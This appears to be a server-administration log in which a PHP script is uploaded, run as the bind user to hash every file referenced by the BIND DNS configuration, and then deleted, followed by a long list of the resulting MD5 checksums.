MD5(/etc/bind/named.conf.local)= da5950cd780a6130ceaaf046681acc0d
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 3a99231277d1ec09b0a37cd18d994fb6
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 8035060c9ed3fa6a173f4ccf42dc82d5
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-01-03 19:22:49: Establishing a connection
2026-01-03 19:22:55: Establishing a connection
2026-01-03 19:22:55: 

PUT: /tmp/pkp255147

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-01-03 19:22:55: 

runuser -l bind -s /bin/bash -c '/tmp/pkp255147; rm /tmp/pkp255147'

2026-01-03 19:22:55: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= da5950cd780a6130ceaaf046681acc0d
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
